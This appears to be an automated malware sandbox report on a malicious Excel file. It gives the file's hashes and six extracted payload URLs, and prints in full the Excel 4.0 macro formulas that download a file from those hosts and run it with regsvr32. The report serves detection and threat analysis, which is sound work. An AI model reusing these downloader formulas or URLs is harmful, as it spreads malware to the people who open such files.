General
-
Target
99747c6c62d41b65301dfe542684c96611273a021223e69b6f99ac27b5ca69d8
-
Size
48KB
-
MD5
c04f029d3c7b1528336314500d2ea7d4
-
SHA1
1d7db4a04a0d73e685dc52242df76b6b2dc72675
-
SHA256
99747c6c62d41b65301dfe542684c96611273a021223e69b6f99ac27b5ca69d8
-
SHA512
f8b511a73fb66d00f32a826e20e4c7c983ec3147865e0babfb8707cde1ab8c9ca400000b64c318b9da435166b356351d16833ffe4c31efa77b3e7628a2707273
-
SSDEEP
768:nO+CAEWvxRc3mlkKDNWBA7rTj+RYV8Q0RuVBR2jPrtysHRX0AOBAa:n7O2b8QkKDNck01u/R2rZyjtBl
Malware Config
Extracted
http://suleyera.com/components/CNGhltc5v2K6/
http://sociallysavvyseo.com/PinnacleDynamicServices/pRlYMzvfuu5B/
http://moveit.savvyint.com/config/DsfssbO7BYG/
https://schwizer.net/styled/D0MG/
http://shabeerpv.atwebpages.com/css/ww6if1YAsMpjpuGz/
http://shimal.atwebpages.com/wp-content/xkaRkHr/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://suleyera.com/components/CNGhltc5v2K6/","..\ax.ocx",0,0) =IF('LGGDGB'!E11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://sociallysavvyseo.com/PinnacleDynamicServices/pRlYMzvfuu5B/","..\ax.ocx",0,0)) =IF('LGGDGB'!E13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://moveit.savvyint.com/config/DsfssbO7BYG/","..\ax.ocx",0,0)) =IF('LGGDGB'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://schwizer.net/styled/D0MG/","..\ax.ocx",0,0)) =IF('LGGDGB'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://shabeerpv.atwebpages.com/css/ww6if1YAsMpjpuGz/","..\ax.ocx",0,0)) =IF('LGGDGB'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://shimal.atwebpages.com/wp-content/xkaRkHr/","..\ax.ocx",0,0)) =IF('LGGDGB'!E21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\ax.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
99747c6c62d41b65301dfe542684c96611273a021223e69b6f99ac27b5ca69d8